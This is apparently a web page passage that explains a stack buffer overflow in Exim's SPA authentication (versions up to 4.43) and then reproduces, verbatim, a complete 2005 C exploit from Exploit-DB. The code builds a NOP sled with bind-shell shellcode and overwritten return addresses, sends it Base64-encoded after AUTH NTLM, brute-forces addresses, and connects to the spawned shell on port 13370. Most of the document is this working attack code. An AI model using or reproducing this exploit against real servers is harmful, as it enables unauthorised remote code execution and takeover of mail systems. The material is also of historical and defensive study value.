| Attacker's Shellcode | <--- Placed by the exploit
| (NOP sled + Shellcode)|
+-----------------------+
| ... |
+-----------------------+Explanation:
- The
auth_spa_server()function is called. - It calls
spa_base64_to_bits()which operates on a fixed-size buffer. - The exploit sends a Base64 encoded string that decodes into data larger than the buffer.
- This data overflows the buffer.
- The overflow overwrites adjacent stack memory, including the
Saved Return Address. - The exploit code specifically places the
address(calculated target return address) into the overflow data. Thisaddresspoints to the attacker's shellcode. - When
spa_base64_to_bits()(orauth_spa_server()) returns, it uses the overwrittenSaved Return Address, jumping execution to the attacker's shellcode.
Source references
- Paper URL: https://www.exploit-db.com/papers/812
- Raw Exploit Code: https://www.exploit-db.com/raw/812
- Vulnerable Software: Exim MTA, versions prior to and including 4.43.
- Vulnerability Type: Stack-based Buffer Overflow in
auth_spa_server()/spa_base64_to_bits(). - Author: Yuri Gushin
- Publication Date: 2005-02-12
Original Exploit-DB Content (Verbatim)
/* ecl-eximspa.c
* Yuri Gushin <yuri@eclipse.org.il>
*
* Howdy :)
* This is pretty straightforward, an exploit for the recently
* discovered vulnerability in Exim's (all versions prior to and
* including 4.43) SPA authentication code - spa_base64_to_bits()
* will overflow a fixed-size buffer since there's no decent
* boundary checks before it in auth_spa_server()
*
* Greets fly out to the ECL crew, Alex Behar, Valentin Slavov
* blexim, manevski, elius, shrink, and everyone else who got left
* out :D
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <err.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <arpa/inet.h>
#define SC_PORT 13370
#define NOP 0xfd
struct {
char *name;
int retaddr;
} targets[] = {
{ "Bruteforce", 0xbfffffff },
{ "Debian Sarge exim4-daemon-heavy_4.34-9", 0xbfffed00 },
};
char sc[] = // thank you metasploit, skape, vlad902
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";
struct {
struct sockaddr_in host;
int target;
int offset;
u_short wait;
} options;
static int brutemode;
int connect_port(u_short port);
void init_SPA(int sock);
void exploit(int sock, int address);
void shell(int sock);
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen);
void parse_options(int argc, char **argv);
void usage(char *cmd);
void banner(void);
int main(int argc, char **argv)
{
int address, sock_smtp, sock_shell;
banner();
parse_options(argc, argv);
address = targets[options.target].retaddr - options.offset;
brutemode = 0;
bruteforce:
if (!brutemode)
{
printf("[*] Connecting to %s:%d... ",
inet_ntoa(options.host.sin_addr), ntohs(options.host.sin_port));
fflush(stdout);
}
sock_smtp = connect_port(ntohs(options.host.sin_port));
if (!brutemode)
{
if (!sock_smtp)
{
printf("failed.\n\n");
exit(-1);
}
printf("success.\n");
}
init_SPA(sock_smtp);
exploit(sock_smtp, address);
close(sock_smtp);
printf("[*] Target: %s - 0x%.8x\n", targets[options.target].name, address);
printf("[*] Exploit sent, spawning a shell... ");
fflush(stdout);
sleep(1); // patience grasshopper
sock_shell = connect_port(SC_PORT);
if (!sock_shell && options.target)
{
printf("failed.\n\n");
exit(-1);
}
if (!sock_shell)
{
printf("failed.\n\n");
address -= 1000 - strlen(sc);
brutemode = 1;
if (options.wait) sleep(options.wait);
goto bruteforce;
}
printf("success!\n\nEnjoy your shell :)\n\n");
shell(sock_shell);
return 0;
}
int connect_port(u_short port)
{
int sock;
struct sockaddr_in host;
memcpy(&host, &options.host, sizeof(options.host));
host.sin_port = ntohs(port);
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return 0;
if(connect(sock, (struct sockaddr *)&host, sizeof(host)) < 0)
{
close(sock);
return 0;
}
return sock;
}
void init_SPA(int sock)
{
char buffer[1024];
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer)))
err(-1, "read");
buffer[255] = '\0';
if (!brutemode)
printf("[*] Server banner: %s", buffer);
write(sock, "EHLO ECL.PWNZ.J00\n", 18);
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer)))
err(-1, "read");
else
if (!brutemode && (!strstr(buffer, "NTLM")))
printf("[?] Server doesn't seem to support SPA, trying anyway\n");
write(sock, "AUTH NTLM\n", 10);
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer)))
err(-1, "read");
else
if (!brutemode && (!strstr(buffer, "334")))
{
printf("[!] SPA unsupported! Server responds: %s\n\n", buffer);
exit(1);
}
if (!brutemode) printf("[*] SPA (NTLM) supported\n");
}
void exploit(int sock, int address)
{
char exp[2000], exp_base64[2668];
int *address_p;
int i;
memset(exp, NOP, 1000);
memcpy(&exp[1000]-strlen(sc), sc, strlen(sc));
address_p = (int *)&exp[1000];
for (i=0; i<1000; i+=4)
*(address_p++) = address;
spa_bits_to_base64(exp_base64, exp, sizeof(exp));
write(sock, exp_base64, sizeof(exp_base64));
write(sock, "\n", 1);
}
void shell(int sock)
{
int n;
fd_set fd;
char buff[1024];
write(sock,"uname -a;id\n",12);
while(1)
{
FD_SET(sock, &fd);
FD_SET(0, &fd);
select(sock+1, &fd, NULL, NULL, NULL);
if( FD_ISSET(sock, &fd) )
{
n = read(sock, buff, sizeof(buff));
if (n < 0) err(1, "remote read");
write(1, buff, n);
}
if ( FD_ISSET(0, &fd) )
{
n = read(0, buff, sizeof(buff));
if (n < 0) err(1, "local read");
write(sock, buff, n);
}
}
}
char base64digits[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen)
{
for (; inlen >= 3; inlen -= 3)
{
*out++ = base64digits[in[0] >> 2];
*out++ = base64digits[((in[0] << 4) & 0x30) | (in[1] >> 4)];
*out++ = base64digits[((in[1] << 2) & 0x3c) | (in[2] >> 6)];
*out++ = base64digits[in[2] & 0x3f];
in += 3;
}
if (inlen > 0)
{
unsigned char fragment;
*out++ = base64digits[in[0] >> 2];
fragment = (in[0] << 4) & 0x30;
if (inlen > 1)
fragment |= in[1] >> 4;
*out++ = base64digits[fragment];
*out++ = (inlen < 2) ? '=' : base64digits[(in[1] << 2) & 0x3c];
*out++ = '=';
}
*out = '\0';
}
void parse_options(int argc, char **argv)
{
int ch;
struct hostent *hn;
memset(&options, 0, sizeof(options));
options.host.sin_family = AF_INET;
options.host.sin_port = htons(25);
options.target = -1;
options.wait = 1;
while (( ch = getopt(argc, argv, "h:p:t:o:w:")) != -1)
switch(ch)
{
case 'h':
if ( (hn = gethostbyname(optarg)) == NULL)
errx(-1, "Unresolvable address\n");
memcpy(&options.host.sin_addr, hn->h_addr, hn->h_length);
break;
case 'p':
options.host.sin_port = htons((u_short)atoi(optarg));
break;
case 't':
if ((atoi(optarg) > (sizeof(targets)/8-1) || (atoi(optarg) < 0)))
errx(-1, "Bad target\n");
options.target = atoi(optarg);
break;
case 'o':
options.offset = atoi(optarg);
break;
case 'w':
options.wait = (u_short)atoi(optarg);
break;
case '?':
exit(1);
default:
usage(argv[0]);
}
if (!options.host.sin_addr.s_addr || (options.target == -1) )
usage(argv[0]);
}
void usage(char *cmd)
{
int i;
printf("Usage: %s [ -h host ] [ -p port ] [ -t target ] [ -o offset ] [ -w wait ]\n\n"
"\t-h: remote host\n"
"\t-p: remote port\n"
"\t-t: target return address (see below)\n"
"\t-o: return address offset\n"
"\t-w: seconds to wait before bruteforce reconnecting\n\n",
cmd);
printf("Targets:\n");
for (i=0; i<(sizeof(targets)/8); i++)
printf("%d - %s (0x%.8x)\n", i, targets[i].name, targets[i].retaddr);
printf("\n");
exit(1);
}
void banner(void)
{
printf("\t\tExim <= 4.43 SPA authentication exploit\n"
"\t\t Yuri Gushin <yuri@eclipse.org.il>\n"
"\t\t\t ECL Team\n\n\n");
}
// milw0rm.com [2005-02-12]